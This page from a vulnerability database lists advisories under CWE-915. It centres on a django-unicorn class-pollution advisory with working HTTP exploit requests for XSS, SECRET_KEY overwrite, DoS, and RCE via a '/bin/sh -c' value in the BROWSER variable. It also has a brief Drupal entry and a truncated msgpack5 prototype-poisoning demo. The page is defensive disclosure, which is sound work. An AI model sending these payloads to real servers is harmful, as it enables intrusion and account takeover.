CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
314 vulnerabilities reference this CWE, most recent first.
GHSA-G9WF-5777-GQ43
Vulnerability from github – Published: 2025-02-03 15:48 – Updated: 2025-05-08 14:33Summary
Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.
At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.
Analysis of Vulnerable Function
By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.
The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.
# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
def set_property_value(
component,
property_name,
property_value
) -> None:
...
property_name_parts = property_name.split(".")
component_or_field = component
...
for idx, property_name_part in enumerate(property_name_parts):
if hasattr(component_or_field, property_name_part):
if idx == len(property_name_parts) - 1:
...
setattr(component_or_field, property_name_part, property_value)
...
else:
component_or_field = getattr(component_or_field, property_name_part)
...
elif isinstance(component_or_field, dict):
if idx == len(property_name_parts) - 1:
component_or_field[property_name_part] = property_value
...
else:
component_or_field = component_or_field[property_name_part]
...
elif isinstance(component_or_field, (QuerySet, list)):
property_name_part_int = int(property_name_part)
if idx == len(property_name_parts) - 1:
component_or_field[property_name_part_int] = property_value # type: ignore[index]
...
else:
component_or_field = component_or_field[property_name_part_int] # type: ignore[index]
...
else:
break
Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.
POST /unicorn/message/COMPONENT_NAME
{
"id": 123,
"actionQueue":[
{
"type": "syncInput",
"payload": {
"name": "DOTTED_PATH",
"value":"ASSIGNED_VALUE"
}
}
],
"data": {XXX},
"epoch": "123",
"checksum": "XXXX"
}
You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.
However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.
With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.
The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.
Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.
Proof of Concept
#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer
Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.
While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
"value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.
#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer
There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.
However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.
Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.
By polluting this variable to clear it out, you finally achieve a stored XSS attack.
PoC:
POST /unicorn/message/todo HTTP/1.1
{
"id": "3gpDSUcxzs1",
"data": {
"task": "",
"tasks": []
},
"checksum": "XXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
"value": [
"</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
]
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
"value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
"value": {}
}
}
],
"epoch": 1737318956605,
"hash": "jWGuTFzy"
}
#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code
Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.
By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
"value": "<html><script>alert('error page pollution')</script></html>"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#4 Authentication Bypass by Overwriting Django Secret Key
Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.
Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
"value": "test"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#5 Denial of Service by Overwriting timed Decorator Method
The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.
By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.timed",
"value": "X"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER
By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.
- Pollute
location_cache._Cache__data.todoas an array where the first element is the module name imported whenever aGETrequest is sent to the server.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.location_cache._Cache__data.todo",
"value": [
"antigravity",
"any"
]
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}
- Pollute
BROWSERos environment variable where the payload for command injection is set.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 348
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.os.environ",
"value": {
"BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
}
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}
Mitigation
The patch could be:
- Blocking paths that start with
__, which represent double under (dunder) or magic variables/methods - Set a blacklist for the path, such as
RESTRICTED_KEYS = ("__globals__", "__builtins__")adopted by pydash.
Related Materials
For more information about class pollution please refer to:
[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
[2] Report: Class Pollution leading to RCE in pydash
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-unicorn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24370"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-03T15:48:53Z",
"nvd_published_at": "2025-02-03T21:15:15Z",
"severity": "CRITICAL"
},
"details": "# Summary\n\nDjango-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status. \n\nAt least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.\n\n# Analysis of Vulnerable Function\n\nBy taking a look at the vulnerable function `set_property_value` located at: `django_unicorn/views/action_parsers/utils.py`. You can observe the functionality is responsible for modifying a property value of an object. \n\nThe property is specified by a dotted form of path at the second parameter `property_name`, where nested reference to object is supported, and base object and the assigned value is given by the first parameter `component` and third parameter `property_value`.\n\n```python\n# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10\ndef set_property_value(\n component,\n property_name,\n property_value\n) -\u003e None:\n ...\n property_name_parts = property_name.split(\".\")\n component_or_field = component\n ...\n for idx, property_name_part in enumerate(property_name_parts):\n if hasattr(component_or_field, property_name_part):\n if idx == len(property_name_parts) - 1:\n ...\n setattr(component_or_field, property_name_part, property_value)\n ...\n else:\n component_or_field = getattr(component_or_field, property_name_part)\n ...\n elif isinstance(component_or_field, dict):\n if idx == len(property_name_parts) - 1:\n component_or_field[property_name_part] = property_value\n\t\t\t\t...\n else:\n component_or_field = component_or_field[property_name_part]\n\t\t\t\t...\n elif isinstance(component_or_field, (QuerySet, list)):\n property_name_part_int = int(property_name_part)\n\n if idx == len(property_name_parts) - 1:\n component_or_field[property_name_part_int] = property_value # type: ignore[index]\n ...\n else:\n component_or_field = component_or_field[property_name_part_int] # type: ignore[index]\n ...\n else:\n break\n```\n\nMeanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as `syncInput` and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.\n\n```json\nPOST /unicorn/message/COMPONENT_NAME\n\n{\n \"id\": 123,\n \"actionQueue\":[\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"DOTTED_PATH\",\n \"value\":\"ASSIGNED_VALUE\"\n }\n \t\t}\n ],\n \"data\": {XXX},\n \"epoch\": \"123\",\n \"checksum\": \"XXXX\"\n}\n```\n\nYou are now aware of that users from the remote can fully control the `property_name` and `property_value` of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.\n\nHowever, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the **magic attributes**. For example, if the `property_name` was set to `__init__.__globals__`, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.\n\nWith all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.\n\nThe next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed `django-unicorn.com` as demo website to showcase its large-scale impact.\n\n\u003e Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.\n\n# Proof of Concept\n\n## #1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer\n\nDjango-Unicorn implants the `EntitySubstitution` rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/components/unicorn_template_response.py#L125), formatting all the template response messages.\n\n\n\nWhile [this rule](https://github.com/akalongman/python-beautifulsoup/blob/master/bs4/dammit.py#L79) is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.\u003c\",\n \"value\": \"\u003cimg/src=1 onerror=alert(\u0027bs4_html_entity_bypass\u0027)\u003e\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\nIn this demonstration, replaced the sanitizer\u0027s `\u003c` item value with the XSS payload. whenever a template reponse renders a \"\u003c\" in cleartext, it will be converted to the payload, leading to XSS attack.\n\n\n\n## #2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and [Django](https://github.com/django/django) Json Script Sanitizer\n\nThere is always a script tag in the webpage. Among it, a `NAME` value is dynamically extracted both from the `MORPHER_NAMES` and `DEFAULT_MORPHER_NAME` variable in the [setting module](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/settings.py#L12). \n\n\n\nHowever, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.\n\n\n\nGoing through the source code of django, you will find the actual sanitizer located at `_json_script_escapes` variable at [django/utils/html.py](https://github.com/django/django/blob/862b7f98a02b7973848db578ff6d24ec8500fdb4/django/utils/html.py#L84).\n\n\n\nBy polluting this variable to clear it out, you finally achieve a stored XSS attack.\n\n\n\nPoC:\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": \"3gpDSUcxzs1\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES\",\n \"value\": [\n \"\u003c/script\u003e\u003cscript\u003ealert(\u0027django json unicode escape bypass + configuration overwrite\u0027)\u003c/script\u003e\"\n ]\n }\n },\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME\",\n \"value\": \"\u003c/script\u003e\u003cscript\u003ealert(\u0027django json unicode escape bypass + configuration overwrite\u0027)\u003c/script\u003e\"\n }\n },\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.utils.html._json_script_escapes\",\n \"value\": {}\n }\n }\n ],\n \"epoch\": 1737318956605,\n \"hash\": \"jWGuTFzy\"\n}\n```\n\n\n\n## #3 Stored Cross-Site Scripting by Overwriting [Django](https://github.com/django/django) Error Page Source Code\n\nDjango by default stores its error page source code in a global variable named `ERROR_PAGE_TEMPLATE` at [django/views/defaults.py](https://github.com/django/django/blob/main/django/views/defaults.py#L16). \n\n\n\nBy polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE\",\n \"value\": \"\u003chtml\u003e\u003cscript\u003ealert(\u0027error page pollution\u0027)\u003c/script\u003e\u003c/html\u003e\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #4 Authentication Bypass by Overwriting [Django](https://github.com/django/django) Secret Key \n\nDjango secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.\n\nEven though, django-unicorn.com doesn\u0027t have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.\n\n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY\",\n \"value\": \"test\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #5 Denial of Service by Overwriting `timed` Decorator Method\n\nThe [timed](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/decorators.py#L9) decorator is used to modify many important functions in the django-unicorn, such as [_call_method_name](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/call_method.py#L122).\n\n\n\nBy polluting the core decorator method `timed` to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.\n\n```http\nPOST /unicorn/message/todo HTTP/1.1\n\n{\n \"id\": 123,\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.timed\",\n \"value\": \"X\"\n }\n }\n ],\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"epoch\": \"123\",\n \"checksum\": \"XXX\"\n}\n```\n\n\n\n## #6 Remote Code Execution by Polluting `location_cache` and OS Environment Variable `BROWSER`\n\nBy polluting the cached data in the `location_cache` object located at [unicorn_view.py](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L42C1-L43C1), attackers can archieve an arbitrary module importation as the logic executed at [_get_component_class](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L835) function. Then a following pollution on the `BROWSER` os environment variable will lead to remote code execution when it is combined with `antigravity` module importation.\n\n- Pollute `location_cache._Cache__data.todo` as an array where the first element is the module name imported whenever a `GET` request is sent to the server. \n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\nHost: proof-of-concept:2334\nContent-Length: 327\nAccept: application/json\n\n{\n \"id\": \"E5FBWqME\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XvvsDQXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.location_cache._Cache__data.todo\",\n \"value\": [\n \"antigravity\",\n \"any\"\n ]\n },\n \"partials\": []\n },\n {\n \"type\": \"callMethod\",\n \"payload\": {\n \"name\": \"add\"\n },\n \"partials\": []\n }\n ],\n \"epoch\": 1746680343776,\n \"hash\": \"CG5pMDxc\"\n}\n```\n\n- Pollute `BROWSER` os environment variable where the payload for command injection is set.\n```HTTP\nPOST /unicorn/message/todo HTTP/1.1\nHost: proof-of-concept:2334\nContent-Length: 348\nAccept: application/json\n\n{\n \"id\": \"E5FBWqME\",\n \"data\": {\n \"task\": \"\",\n \"tasks\": []\n },\n \"checksum\": \"XvvsDQXX\",\n \"actionQueue\": [\n {\n \"type\": \"syncInput\",\n \"payload\": {\n \"name\": \"__init__.__globals__.sys.modules.os.environ\",\n \"value\": {\n \"BROWSER\": \"/bin/sh -c \\\"touch /tmp/pwned \\\" #%s\"\n }\n },\n \"partials\": []\n },\n {\n \"type\": \"callMethod\",\n \"payload\": {\n \"name\": \"add\"\n },\n \"partials\": []\n }\n ],\n \"epoch\": 1746680343776,\n \"hash\": \"CG5pMDxc\"\n}\n```\n\n\n\n# Mitigation\n\nThe patch could be:\n\n- Blocking paths that start with `__`, which represent **double under (dunder)** or **magic variables/methods**\n- Set a blacklist for the path, such as `RESTRICTED_KEYS = (\"__globals__\", \"__builtins__\")` adopted by [pydash](https://github.com/dgilland/pydash/blob/f4112f61ddb02e5181e781709d775838c9978b97/src/pydash/helpers.py#L211).\n\n# Related Materials\n\nFor more information about class pollution please refer to:\n\n[1] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n[2] [Report: Class Pollution leading to RCE in pydash](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca)\n\n[3] [Blog: Prototype Pollution in Python](https://blog.abdulrah33m.com/prototype-pollution-in-python/)\n\n[4] [Blog: Class Pollution Gadgets in Jinja Leading to RCE](https://www.offensiveweb.com/docs/programming/python/class-pollution/)",
"id": "GHSA-g9wf-5777-gq43",
"modified": "2025-05-08T14:33:23Z",
"published": "2025-02-03T15:48:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24370"
},
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/commit/17614200f27174f789d4af54cc3a1f2b0df7870c"
},
{
"type": "PACKAGE",
"url": "https://github.com/adamghill/django-unicorn"
},
{
"type": "WEB",
"url": "https://github.com/adamghill/django-unicorn/releases/tag/0.62.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass"
}
GHSA-GGC6-38JQ-Q957
Vulnerability from github – Published: 2026-07-10 21:32 – Updated: 2026-07-14 15:32Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal AlternativeCommerce (Basket) allows Object Injection. This issue affects Drupal AlternativeCommerce (Basket) versions: from 0.0.0 to 2.1.17.
{
"affected": [],
"aliases": [
"CVE-2026-9726"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T21:17:00Z",
"severity": "CRITICAL"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal AlternativeCommerce (Basket) allows Object Injection. This issue affects Drupal AlternativeCommerce (Basket) versions: from 0.0.0 to 2.1.17.",
"id": "GHSA-ggc6-38jq-q957",
"modified": "2026-07-14T15:32:06Z",
"published": "2026-07-10T21:32:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9726"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GMJW-49P4-PCFM
Vulnerability from github – Published: 2021-03-12 22:44 – Updated: 2021-03-12 16:57Impact
The issue is as follows: when msgpack5 decodes a map containing a
key "__proto__", it assigns the decoded value to __proto__. As you
are no doubt aware, Object.prototype.__proto__ is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__ decodes to an object or null, msgpack5 sets
the decoded object's prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length,
numeric properties, and push et al if __proto__'s value decodes to
an Array); and/or may throw unexpected exceptions when used (for
example if the __proto__ value decodes to a Map or Date). Other
unexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
const msgpack5 = require('msgpack5')();
const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});
const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>
const decoded = msgpack5.decode(encoded);
// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]
// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map
// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false
// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}
// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to msgpack5 values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).
Patches
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Workarounds
Always validate incoming data after parsing before doing any processing.
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21368"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-12T16:57:44Z",
"nvd_published_at": "2021-03-12T17:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver\u0027s prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object\u0027s prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`\u0027s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require(\u0027msgpack5\u0027)(); \n\nconst payload = {}; \nObject.defineProperty(payload, \u0027__proto__\u0027, { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // \u003cBuffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02\u003e \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded\u0027s prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 =\u003e 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #\u003cMap\u003e \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #\u003cMap\u003e \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #\u003cMap\u003e \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value\u0027s prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer\u0027s code). \n\n### 